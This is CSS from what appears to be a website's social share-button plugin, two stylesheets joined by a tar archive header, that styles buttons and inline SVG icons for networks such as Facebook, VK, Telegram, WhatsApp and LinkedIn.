.l-ico{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20d%3D%22M20%2020.5c3.4%200%206.2-2.8%206.2-6.3s-2.8-6.3-6.2-6.3c-3.4%200-6.2%202.8-6.2%206.3s2.8%206.3%206.2%206.3zm0-9.5c1.8%200%203.3%201.5%203.3%203.3s-1.5%203.3-3.3%203.3c-1.8%200-3.3-1.5-3.3-3.3s1.5-3.3%203.3-3.3zm6.7%2010.2c-.5-.7-1.5-.8-2.2-.3%200%200-1.7%201.3-4.5%201.3s-4.5-1.3-4.5-1.3c-.7-.5-1.7-.4-2.2.3-.5.7-.4%201.7.3%202.2.1.1%201.7%201.3%204.4%201.8l-4.1%204.2c-.6.6-.6%201.6%200%202.2.3.3.7.5%201.1.5.4%200%20.8-.2%201.1-.5l3.9-4%203.9%204c.3.3.7.5%201.1.5.4%200%20.8-.2%201.1-.5.6-.6.6-1.6%200-2.2l-4.1-4.3c2.7-.5%204.3-1.7%204.4-1.8.7-.5.8-1.5.3-2.1z%22%2F%3E%3C%2Fsvg%3E");background-repeat:no-repeat}.jllikeproSharesContayner a.l-ok{background-color:#f6851f!important}.jllikeproSharesContayner a.l-ml .l-ico{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M33%2020c0-7.2-5.8-13-13-13s-13%205.8-13%2013%205.8%2013%2013%2013c1.6%200%203.3-.3%204.8-.9.7-.3%201.1-1.1.8-1.8-.3-.7-1.1-1.1-1.8-.8-1.2.5-2.4.7-3.7.7-5.6%200-10.2-4.6-10.2-10.2%200-2.8%201.1-5.4%203-7.2%201.8-1.8%204.4-3%207.2-3s5.4%201.1%207.2%203c1.8%201.8%203%204.4%203%207.2%200%201.4-.3%203.5-.8%204.9-.7%201.8-2%201.3-2-.3v-9.2c0-1.2-1.5-1.9-2.4-1-1.4-1.3-3.2-2-5.2-2-4.2%200-7.6%203.4-7.6%207.6%200%204.2%203.4%207.6%207.6%207.6%201.8%200%203.5-.7%204.9-1.7.4%201.7%201.7%202.7%203.2%202.9%204.1.6%205-5.9%205-8.8zm-9.8%203.4c-.9.9-2.1%201.4-3.4%201.4-2.7%200-4.8-2.2-4.8-4.8%200-2.7%202.2-4.8%204.8-4.8%201.3%200%202.5.5%203.4%201.4%201.9%201.8%201.9%205%200%206.8z%22%2F%3E%3C%2Fsvg%3E");background-repeat:no-repeat}.jllikeproSharesContayner a.l-ml{background-color:#356ca4!important}.jllikeproSharesContayner a.l-gp .l-ico{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'  viewBox='-60 -60 710.117 710.117' %3E%3Cpath fill='%23fff' d='M12,280.4c1.6-95.1,89-178.4,184.2-175.3c45.6-2.1,88.4,17.7,123.3,45.6c-14.9,16.9-30.3,33.2-46.8,48.5 c-42-29-101.7-37.3-143.6-3.8c-60,41.5-62.8,139.6-5,184.3c56.2,51,162.3,25.7,177.8-52.4c-35.2-0.5-70.4,0-105.6-1.1 c-0.1-21-0.2-42-0.1-62.9c58.8-0.2,117.6-0.3,176.5,0.2c3.5,49.4-3,101.9-33.3,142.7c-45.9,64.6-138.2,83.5-210.1,55.8 C57,434.4,5.9,358.2,12,280.4z'/%3E%3Cpath fill='%23fff' d='M487.3,210.2c17.5,0,34.9,0,52.5,0c0.1,17.5,0.2,35.2,0.4,52.7c17.5,0.2,35.2,0.2,52.7,0.4c0,17.5,0,35,0,52.5 c-17.5,0.2-35.1,0.3-52.7,0.4c-0.2,17.6-0.3,35.2-0.4,52.7c-17.5,0-35,0-52.5,0c-0.2-17.5-0.2-35.1-0.4-52.6 c-17.5-0.2-35.2-0.4-52.7-0.5c0-17.5,0-34.9,0-52.5c17.5-0.2,35.1-0.3,52.7-0.4C487,245.3,487.2,227.8,487.3,210.2z'/%3E%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-gp{background-color:#dc4e41!important}.jllikeproSharesContayner a.l-ln .l-ico{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'  viewBox='-120 -120 700.117 700.117'%3E%0A	%3Cpath fill='%23fff' d='M430.117,261.543V420.56h-92.188V272.193c0-37.271-13.334-62.707-46.703-62.707%0A		c-25.473,0-40.632,17.142-47.301,33.724c-2.432,5.928-3.058,14.179-3.058,22.477V420.56h-92.219c0,0,1.242-251.285,0-277.32h92.21%0A		v39.309c-0.187,0.294-0.43,0.611-0.606,0.896h0.606v-0.896c12.251-18.869,34.13-45.824,83.102-45.824%0A		C384.633,136.724,430.117,176.361,430.117,261.543z M52.183,9.558C20.635,9.558,0,30.251,0,57.463%0A		c0,26.619,20.038,47.94,50.959,47.94h0.616c32.159,0,52.159-21.317,52.159-47.94C103.128,30.251,83.734,9.558,52.183,9.558z%0A		 M5.477,420.56h92.184v-277.32H5.477V420.56z'/%3E%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-ln{background-color:#0077b5!important}.jllikeproSharesContayner a.l-pinteres .l-ico{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'%0A	 viewBox='-10 -10 120.001 120.001' %3E%3Cpath fill='%23fff' d='M43.081,66.14c-2.626,13.767-5.833,26.966-15.333,33.861c-2.932-20.809,4.307-36.436,7.668-53.027%0A		c-5.73-9.646,0.689-29.062,12.777-24.277c14.873,5.885-12.881,35.865,5.75,39.611c19.453,3.908,27.395-33.752,15.332-46%0A		C51.847-1.376,18.542,15.905,22.638,41.224c0.996,6.191,7.391,8.068,2.555,16.611c-11.154-2.473-14.484-11.27-14.055-23%0A		c0.69-19.197,17.25-32.639,33.86-34.498c21.006-2.352,40.721,7.711,43.443,27.471c3.066,22.303-9.48,46.459-31.943,44.721%0A		C50.41,72.056,47.853,69.04,43.081,66.14z'/%3E%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-pinteres{background-color:#bd081c!important}.jllikeproSharesContayner a.l-lj .l-ico{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%0A%3Cpath fill='%2300B0EA' d='M15.861,1.919c-1.972,0-3.846,0.411-5.547,1.146L7.245,0H7.238 C3.998,1.419,1.401,4.029,0,7.28l3.074,3.071l-0.002,0.003c-0.742,1.704-1.184,3.56-1.184,5.538 c0,7.72,6.255,13.974,13.973,13.974c7.715,0,13.972-6.256,13.972-13.974C29.833,8.176,23.577,1.919,15.861,1.919'/%3E%0A%3Cpath fill='%2315374C' d='M14.437,21.696c1.4-3.251,3.999-5.861,7.238-7.281h0.002L10.316,3.071 L10.311,3.07c-3.242,1.42-5.839,4.029-7.239,7.282L14.437,21.696z'/%3E%0A%3Cpath fill='%2315374C' d='M22.489,18.29c-1.882,0.824-3.39,2.343-4.205,4.229l5.306,1.097L22.489,18.29z'/%3E%0A%3Cg fill='%23FFFFFF'%3E%0A%3Cpath d='M22.489,18.292c-0.427-2.037-0.812-3.876-0.812-3.876l-0.004,0.001 c-3.238,1.42-5.836,4.029-7.237,7.28l3.848,0.822C19.101,20.639,20.612,19.114,22.489,18.292'/%3E%0A%3Crect x='49.787' y='7.121' width='2.409' height='16.083'/%3E%0A%3Cpath d='M82.317,22.943c0,2.181-0.845,3.093-2.18,3.093v1.922c3.809,0,4.589-2.185,4.589-5.666V7.121h-2.41 L82.317,22.943L82.317,22.943z'/%3E%0A%3Cpath d='M62.714,14.806c-0.54,1.784-1.041,3.627-1.239,4.764c-0.173-1.168-0.996-3.428-1.398-4.764l-2.443-7.685 h-2.311l5.144,16.083h1.754L67.2,7.121h-2.112L62.714,14.806z'/%3E%0A%3Cpolygon points='78.094,21.252 78.092,21.252 78.092,21.221 72.364,21.221 72.37,15.945 76.861,15.945 76.861,13.959 72.37,13.959 72.37,9.106 77.684,9.106 77.684,7.118 69.961,7.121 69.961,23.205 78.092,23.208 78.092,23.205 78.098,23.205'/%3E%0A%3Cpath d='M114.328,17.373c0,2.896-0.911,4.232-2.965,4.232c-2.051,0-2.961-1.338-2.961-4.232V7.121h-2.409v9.33 c0,4.814,1.226,7.175,5.353,7.175c4.357,0,5.352-2.733,5.352-7.127V7.121h-2.368L114.328,17.373L114.328,17.373z'/%3E%0A%3Cpath d='M154.641,7.121l-5.308,16.083h2.112l1.104-3.354h5.93l1.135,3.354h2.312l-5.469-16.083H154.641z M157.822,17.925h-4.637l0.797-2.405c0.603-1.854,1.271-4.346,1.498-5.479c0.201,1.11,1.039,4.026,1.528,5.479L157.822,17.925z'/%3E%0A%3Cpath d='M95.523,7.121c-4.432,0-6.774,3.224-6.774,8.236c0,5.014,2.344,8.269,6.774,8.269 c4.424,0,6.771-3.255,6.771-8.269C102.296,10.345,99.947,7.121,95.523,7.121 M95.523,21.507c-2.703,0-4.201-2.18-4.201-6.15 c0-3.97,1.498-6.146,4.201-6.146c2.701,0,4.199,2.175,4.199,6.146C99.723,19.328,98.225,21.507,95.523,21.507'/%3E%0A%3Cpath d='M131.305,12.037c0-3.743-2.965-4.916-6.936-4.916h-2.816v16.083h2.411v-6.052h1.461 c0.642,0,1.204-0.055,1.204-0.055l2.885,6.105h2.569l-3.229-6.854C130.464,15.508,131.305,13.998,131.305,12.037 M125.477,15.162 h-1.513v-6.01h1.513c2.246,0,3.418,1.226,3.418,3.113C128.895,14.152,127.657,15.162,125.477,15.162'/%3E%0A%3Cpath d='M144.182,11.887c0,2.084,0.045,5.899,0.145,6.88c-0.436-0.938-0.857-1.789-1.438-2.697l-5.803-8.949h-1.4 v16.083h2.084v-5.8c0-3.301-0.115-5.185-0.211-5.915c0.26,0.619,1.127,2.103,1.551,2.756l5.791,8.958h1.369V7.121h-2.088V11.887z'/%3E%0A%3Cpolygon points='46.27,21.221 41.227,21.221 41.227,7.121 38.815,7.121 38.815,23.205 46.27,23.205'/%3E%0A%3Cpolygon points='167.395,21.221 167.395,7.121 164.984,7.121 164.984,23.205 172.035,23.205 172.035,21.219'/%3E%0A%3C/g%3E%0A%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-lj{background-color:#00b0ea!important}.jllikeproSharesContayner a.l-bl .l-ico{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' version='1.1' id='Capa_1'  viewBox='-150 -150 730.117 730.118' xml:space='preserve'%3E%0A%3Cg%3E%0A%3Cpath id='Blogger' d='M292.938,430.118c74.995,0,135.91-61.092,136.335-135.672l0.844-109.816l-1.269-5.974l-3.604-7.516   l-6.091-4.711c-7.915-6.21-48.015,0.42-58.81-9.388c-7.663-6.996-8.858-19.637-11.173-36.77   c-4.308-33.18-7.028-34.912-12.228-46.162C318.07,34.166,266.84,4.149,231.646,0h-95.332C61.316,0,0,61.181,0,135.908v158.538   c0,74.58,61.316,135.672,136.313,135.672H292.938z M138.05,111.032h75.581c14.431,0,26.117,11.714,26.117,25.951   c0,14.179-11.687,25.989-26.117,25.989H138.05c-14.433,0-26.096-11.815-26.096-25.989   C111.954,122.747,123.617,111.032,138.05,111.032z M111.954,292.439c0-14.234,11.663-25.86,26.096-25.86h153.577   c14.337,0,25.977,11.626,25.977,25.86c0,14.043-11.64,25.855-25.977,25.855H138.05   C123.617,318.294,111.954,306.482,111.954,292.439z' fill='%23FFFFFF'/%3E%0A%3C/g%3E%0A%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-bl{background-color:#f26300!important}.jllikeproSharesContayner a.l-wb .l-ico{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'  viewBox='-100 -100 711.794 711.795' xml:space='preserve'%3E%0A%3Cg%3E%0A%3Cg%3E%0A%3Cpath d='M413.691,261.553c-8.747-5.522-18.555-9.995-29.403-13.42c-2.286-0.765-3.907-1.333-4.859-1.715    c-0.951-0.381-2.098-1.093-3.425-2.141c-1.335-1.049-1.767-2.24-1.284-3.571c0.479-1.332,0.903-3.234,1.284-5.708    c8.559-21.888,8.559-38.828,0-50.819c-8.762-11.61-23.315-17.417-43.688-17.417c-20.365,0-43.776,5.617-70.229,16.845    l-1.718,0.572c-1.135,0.381-2.422,0.71-3.847,0.998c-1.431,0.288-2.812,0.333-4.143,0.144c-1.328-0.188-2.281-0.854-2.853-1.997    c-0.572-1.143-0.474-3.046,0.287-5.711c8.561-27.6,6.661-47.488-5.713-59.672c-14.083-14.084-37.541-14.75-70.377-1.997    c-32.827,12.756-65.326,35.214-97.496,67.384c-24.362,24.362-43.159,48.916-56.387,73.66C6.611,281.736,0,305.045,0,326.939    c0,20.554,6.186,39.54,18.555,56.959c12.375,17.419,28.693,31.788,48.966,43.112c20.268,11.32,43.158,20.177,68.662,26.553    c25.505,6.372,51.678,9.562,78.515,9.562c26.838,0,52.58-2.947,77.226-8.847c24.646-5.903,46.158-13.798,64.521-23.698    c18.371-9.894,34.407-21.077,48.109-33.548c13.709-12.467,24.078-25.498,31.124-39.115c7.043-13.606,10.568-26.885,10.568-39.823    c0-12.18-3.23-23.274-9.709-33.264C430.07,274.827,422.452,267.072,413.691,261.553z M320.482,392.474    c-27.884,22.553-63.05,36.019-105.493,40.396c-27.79,2.666-53.915,0.667-78.371-5.995c-24.457-6.667-44.302-17.036-59.527-31.121    c-15.227-14.09-23.697-30.27-25.41-48.544c-2.667-27.788,9.945-52.958,37.829-75.513c27.884-22.56,63.05-36.025,105.494-40.402    c27.79-2.668,53.913-0.666,78.365,5.996c24.455,6.661,44.304,17.034,59.532,31.118c15.229,14.089,23.695,30.269,25.406,48.54    C360.969,344.742,348.366,369.912,320.482,392.474z' fill='%23FFFFFF'/%3E%0A%3Cpath d='M223.269,274.126c-20.174-5.141-40.208-3.327-60.098,5.427c-19.892,8.754-34.307,21.978-43.254,39.684    c-8.946,18.076-9.567,35.923-1.857,53.529c7.71,17.607,21.745,29.644,42.112,36.121c21.126,6.848,42.447,5.708,63.953-3.433    c21.508-9.137,36.542-23.414,45.115-42.824c8.559-19.038,8.322-37.165-0.719-54.393    C259.475,291.018,244.395,279.646,223.269,274.126z M192.719,366.63c-4.188,6.468-10.135,10.992-17.848,13.559    c-7.708,2.573-14.803,2.334-21.271-0.712c-6.47-3.046-10.562-7.851-12.275-14.421c-1.714-6.561-0.477-13.076,3.71-19.551    c3.995-6.286,9.707-10.66,17.129-13.131c7.426-2.475,14.372-2.382,20.844,0.284c6.662,2.851,10.948,7.614,12.851,14.273    C197.761,353.592,196.716,360.155,192.719,366.63z M219.554,332.076c-1.331,2.478-3.427,4.24-6.28,5.287    c-2.855,1.048-5.617,1.092-8.28,0.144c-5.708-2.669-6.945-6.946-3.711-12.847c1.332-2.478,3.378-4.236,6.136-5.287    c2.758-1.047,5.47-1.092,8.136-0.14c2.474,0.947,4.139,2.713,4.998,5.283C221.409,327.08,221.078,329.609,219.554,332.076z' fill='%23FFFFFF'/%3E%0A%3Cpath d='M407.983,206.884c2.102,4.093,5.332,6.899,9.712,8.423c4.381,1.332,8.61,0.953,12.703-1.143    c4.093-2.091,6.902-5.327,8.426-9.707c3.613-10.656,4.236-21.842,1.848-33.545c-2.375-11.704-7.562-22.032-15.55-30.978    c-7.994-8.947-17.614-15.181-28.839-18.704c-11.231-3.521-22.556-4.043-33.972-1.569c-4.575,0.953-8.094,3.381-10.571,7.282    c-2.471,3.9-3.23,8.136-2.275,12.703c0.76,4.569,3.135,8.09,7.128,10.564c4.001,2.474,8.282,3.235,12.854,2.286    c11.995-2.475,22.169,0.857,30.55,9.992c8.378,9.134,10.656,19.698,6.852,31.691C405.505,198.556,405.892,202.792,407.983,206.884    z' fill='%23FFFFFF'/%3E%0A%3Cpath d='M508.917,156.918c-4.859-24.075-15.561-45.251-32.121-63.522c-16.562-18.46-36.356-31.261-59.395-38.403    c-23.028-7.139-46.243-8.232-69.661-3.284c-5.332,1.143-9.473,3.949-12.423,8.424c-2.95,4.476-3.854,9.375-2.707,14.705    c1.14,5.33,3.99,9.469,8.565,12.419c4.562,2.95,9.514,3.855,14.839,2.712c16.563-3.424,33.03-2.614,49.396,2.428    c16.371,5.044,30.457,14.13,42.26,27.264c11.797,12.944,19.418,27.978,22.844,45.111c3.429,17.128,2.478,33.498-2.854,49.105    c-1.52,5.142-1.047,10.09,1.431,14.849c2.471,4.758,6.276,7.992,11.416,9.707c5.141,1.709,10.089,1.331,14.846-1.143    c4.76-2.474,7.997-6.28,9.712-11.42C512.486,203.981,513.769,180.997,508.917,156.918z' fill='%23FFFFFF'/%3E%0A%3C/g%3E%3C/g%3E%0A%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-wb{background-color:#c53220!important}.jllikeproSharesContayner a.l-tl .l-ico{background-image:url("data:image/svg+xml,%3C%3Fxml version='1.0'%3F%3E%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='0 0 240 240'%3E%3Cdefs%3E%3ClinearGradient id='b' x1='0.6667' y1='0.1667' x2='0.4167' y2='0.75'%3E%3Cstop stop-color='%2337aee2' offset='0'/%3E%3Cstop stop-color='%231e96c8' offset='1'/%3E%3C/linearGradient%3E%3ClinearGradient id='w' x1='0.6597' y1='0.4369' x2='0.8512' y2='0.8024'%3E%3Cstop stop-color='%23eff7fc' offset='0'/%3E%3Cstop stop-color='%23fff' offset='1'/%3E%3C/linearGradient%3E%3C/defs%3E%3Cpath fill='%23c8daea' d='m98 175c-3.8876 0-3.227-1.4679-4.5678-5.1695L82 132.2059 170 80'/%3E%3Cpath fill='%23a9c9dd' d='m98 175c3 0 4.3255-1.372 6-3l16-15.558-19.958-12.035'/%3E%3Cpath fill='url%28%23w%29' d='m100.04 144.41 48.36 35.729c5.5185 3.0449 9.5014 1.4684 10.876-5.1235l19.685-92.763c2.0154-8.0802-3.0801-11.745-8.3594-9.3482l-115.59 44.571c-7.8901 3.1647-7.8441 7.5666-1.4382 9.528l29.663 9.2583 68.673-43.325c3.2419-1.9659 6.2173-0.90899 3.7752 1.2584'/%3E%3C/svg%3E");background-repeat:no-repeat}.jllikeproSharesContayner a.l-tl{background-color:#32afed!important}.jllikeproSharesContayner a.l-wa .l-ico{background-image:url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='iso-8859-1'%3F%3E%3Csvg version='1.1' id='Capa_1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='-15 -15 120 120' style='enable-background:new 0 0 90 90;' xml:space='preserve'%3E%3Cg%3E%3Cpath id='WhatsApp' fill='%23FFFFFF' d='M90,43.841c0,24.213-19.779,43.841-44.182,43.841c-7.747,0-15.025-1.98-21.357-5.455L0,90l7.975-23.522 c-4.023-6.606-6.34-14.354-6.34-22.637C1.635,19.628,21.416,0,45.818,0C70.223,0,90,19.628,90,43.841z M45.818,6.982 c-20.484,0-37.146,16.535-37.146,36.859c0,8.065,2.629,15.534,7.076,21.61L11.107,79.14l14.275-4.537 c5.865,3.851,12.891,6.097,20.437,6.097c20.481,0,37.146-16.533,37.146-36.857S66.301,6.982,45.818,6.982z M68.129,53.938 c-0.273-0.447-0.994-0.717-2.076-1.254c-1.084-0.537-6.41-3.138-7.4-3.495c-0.993-0.358-1.717-0.538-2.438,0.537 c-0.721,1.076-2.797,3.495-3.43,4.212c-0.632,0.719-1.263,0.809-2.347,0.271c-1.082-0.537-4.571-1.673-8.708-5.333 c-3.219-2.848-5.393-6.364-6.025-7.441c-0.631-1.075-0.066-1.656,0.475-2.191c0.488-0.482,1.084-1.255,1.625-1.882 c0.543-0.628,0.723-1.075,1.082-1.793c0.363-0.717,0.182-1.344-0.09-1.883c-0.27-0.537-2.438-5.825-3.34-7.977 c-0.902-2.15-1.803-1.792-2.436-1.792c-0.631,0-1.354-0.09-2.076-0.09c-0.722,0-1.896,0.269-2.889,1.344 c-0.992,1.076-3.789,3.676-3.789,8.963c0,5.288,3.879,10.397,4.422,11.113c0.541,0.716,7.49,11.92,18.5,16.223 C58.2,65.771,58.2,64.336,60.186,64.156c1.984-0.179,6.406-2.599,7.312-5.107C68.398,56.537,68.398,54.386,68.129,53.938z'/%3E%3C/g%3E%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-wa{background-color:#00e676!important}.jllikeproSharesContayner a.l-vi .l-ico{background-image:url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='utf-8'%3F%3E%3Csvg version='1.1' id='Layer_1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x='0px' y='0px' viewBox='0 0 1024 1024' style='enable-background:new 0 0 1024 1024;' xml:space='preserve'%3E%3Cstyle type='text/css'%3E .st0%7Bfill:%23FFFFFF;%7D .st1%7Bfill:none;stroke:%23FFFFFF;stroke-width:16.8562;stroke-linecap:round;stroke-linejoin:round;%7D%0A%3C/style%3E%3Cg%3E%3Cpath class='st0' d='M746.1,249.1c-16.6-15.2-83.5-63.8-232.5-64.5c0,0-175.8-10.6-261.5,68c-47.7,47.7-64.5,117.5-66.2,204.1 c-1.8,86.6-4.1,248.7,152.3,292.7c0,0,0.1,0,0.1,0l-0.1,67.1c0,0-1,27.2,16.9,32.7c21.6,6.7,34.3-13.9,55-36.2 c11.3-12.2,27-30.2,38.8-43.9c106.9,9,189.2-11.6,198.5-14.6c21.6-7,143.8-22.7,163.6-184.8C831.5,402.6,801.1,296.8,746.1,249.1z M764.2,557.7c-16.8,135.4-115.9,144-134.1,149.8c-7.8,2.5-80,20.5-170.8,14.5c0,0-67.7,81.6-88.8,102.9c-3.3,3.3-7.2,4.7-9.8,4 c-3.6-0.9-4.6-5.2-4.6-11.5c0.1-9,0.6-111.5,0.6-111.5c-0.1,0-0.1,0,0,0c-132.2-36.7-124.5-174.8-123-247.1 c1.5-72.3,15.1-131.5,55.4-171.3c72.5-65.6,221.8-55.8,221.8-55.8c126.1,0.6,186.5,38.5,200.5,51.2 C757.9,322.8,781.6,418.1,764.2,557.7z'/%3E%3Cpath class='st1' d='M574.9,452.9c-1.6-33.1-18.4-50.4-50.4-52.1'/%3E%3Cpath class='st1' d='M618.2,467.4c0.7-30.8-8.4-56.5-27.4-77.2c-19-20.7-45.3-32.2-79.1-34.6'/%3E%3Cpath class='st1' d='M662.5,484.8c-0.4-53.5-16.4-95.5-47.9-126.3c-31.5-30.7-70.8-46.3-117.7-46.6'/%3E%3Cpath class='st0' d='M526.2,565.8c0,0,11.9,1,18.2-6.9l12.4-15.6c6-7.8,20.5-12.7,34.7-4.8c7.9,4.5,22.1,13.2,30.9,19.7 c9.4,6.9,28.7,23,28.7,23c9.2,7.7,11.3,19.1,5.1,31.1c0,0.1-0.1,0.2-0.1,0.2c-6.4,11.3-15,22-25.9,31.9c-0.1,0.1-0.1,0.1-0.2,0.2 c-8.9,7.4-17.7,11.7-26.3,12.7c-1,0.2-2.3,0.3-3.8,0.2c-3.8,0-7.5-0.5-11.2-1.7l-0.3-0.4c-13.3-3.7-35.4-13.1-72.3-33.4 c-24-13.2-43.9-26.7-60.7-40.1c-8.9-7-18-15-27.3-24.2c-0.3-0.3-0.6-0.6-0.9-0.9c-0.3-0.3-0.6-0.6-0.9-0.9l0,0c0,0,0,0,0,0 c-0.3-0.3-0.6-0.6-0.9-0.9c-0.3-0.3-0.6-0.6-0.9-0.9c-9.2-9.3-17.2-18.4-24.2-27.3c-13.4-16.8-26.9-36.8-40.1-60.7 c-20.3-36.9-29.7-59-33.4-72.3l-0.4-0.3c-1.2-3.7-1.8-7.4-1.7-11.2c-0.1-1.5,0-2.8,0.2-3.8c1-8.6,5.3-17.4,12.7-26.3 c0.1-0.1,0.1-0.1,0.2-0.2c9.9-10.9,20.5-19.5,31.9-25.9c0.1,0,0.2-0.1,0.2-0.1c12-6.2,23.4-4.1,31.1,5.1c0.1,0.1,16.1,19.3,23,28.7 c6.5,8.9,15.3,23,19.7,30.9c7.9,14.2,3,28.7-4.8,34.7l-15.6,12.4c-7.9,6.4-6.9,18.2-6.9,18.2S439.6,543.7,526.2,565.8z'/%3E%3C/g%3E%3C/svg%3E%0A");background-repeat:no-repeat}.jllikeproSharesContayner a.l-vi{background-color:#665cac!important}.jllikeproSharesContayner i{vertical-align:top;float:none;display:inline-block;width:30px;height:30px;background-image:none;-webkit-border-radius:50%;-webkit-background-clip:padding-box;-moz-border-radius:50%;-moz-background-clip:padding;border-radius:50%;background-clip:padding-box;position:static}.jllikeproSharesContayner span{vertical-align:top;float:none;display:inline-block;width:auto;height:30px;background-image:none;position:static;font-size:1rem;line-height:30px;color:#122334;-webkit-transition:all .2s;-moz-transition:all .2s;-o-transition:all .2s;transition:all .2s}body>p:first-child{display:none}.like{cursor:default}.l-count,.like i{cursor:pointer}.l-all i{display:none}.l-all-count{margin-left:20px;margin-right:20px}.likes-block_left{text-align:left}.likes-block_right{text-align:right}.likes-block_center{text-align:center}.event-container{padding-left:12px;padding-right:12px}.event-container .like .l-count{color:#fff}.jllikeproSharesContayner a:hover{opacity:.85}.jllikeproSharesContayner a{margin-bottom:6px;text-decoration:none!important}                                                                                                                                                                                                                                                                                                                                                  content/jllike/js/buttons.css                                                                       0000705                 00000056120 15242051520 0012312 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .jllikeproSharesContayner { padding: 0 }
.jllikeproSharesContayner .event-container { padding: 0; width: auto; height: auto;}
.jllikeproSharesContayner .event-container>div {padding: 10px 10px 10px 5px; width: auto; height: auto;}
.jllikeproSharesContayner
a {float: none; width: auto; height: auto; display: inline-block; background-image: none; font-size: 0; vertical-align: top; padding: 0; margin: 0 0 0 5px; background-color: rgba(18,35,52,.1)!important; -webkit-border-radius: 15px; -webkit-background-clip: padding-box; -moz-border-radius: 15px; -moz-background-clip: padding; border-radius: 15px; background-clip: padding-box; background-position: 0 center;}
.jllikeproSharesContayner a.like-not-empty
span { padding: 0 10px }
.jllikeproSharesContayner a.l-fb .l-ico {
background-image: url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20d%3D%22M24.2%2011.3h2.3v-4.3h-3.5c-4.3%200-6%202.9-6%206.1v2.6h-3.5v4.3h3.5v13h5v-13h4l.5-4.3h-4.5v-2.6c0-1.2.4-1.8%202.2-1.8z%22%2F%3E%3C%2Fsvg%3E");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-fb { background-color: #3a5795!important; }
.jllikeproSharesContayner a.l-vk .l-ico {
background-image: url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M29.7%2020.7c-.9-.9-1.5-1.5-3.1-1.8v-.1c1.1-.5%201.9-1.1%202.5-1.9.6-.8.9-1.7.9-2.8%200-.9-.2-1.7-.7-2.4-.4-.7-1.1-1.3-2-1.7-.9-.4-1.7-.7-2.6-.8-.8-.1-2.7-.2-4.6-.2h-9.1v22h10.2c1.7%200%203.1-.1%204.2-.4%201.1-.3%202.1-.7%203-1.4.8-.6%201.4-1.2%201.9-2.1.5-.8.7-1.8.7-2.8%200-1.5-.4-2.7-1.3-3.6zm-12.7-8.2h3.0999999999999996c.8%200%201.4.1%201.9.3.6.2%201%20.5%201.2%201%20.2.4.3.9.3%201.3%200%20.6-.1%201.1-.3%201.5-.2.4-.6.8-1.2%201-.5.2-1.1.3-1.8.4h-3.2v-5.5zm7.1%2012.9c-.3.5-.7.8-1.4%201.1-.7.3-1.4.4-2.2.4h-3.5v-6h3.4c.9%200%201.6.1%202.1.2.7.2%201.3.5%201.6%201%20.3.4.5.9.5%201.7-.1.7-.2%201.2-.5%201.6z%22%2F%3E%3C%2Fsvg%3E");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-vk { background-color: #4e7299!important; }
.jllikeproSharesContayner a.l-tw .l-ico {
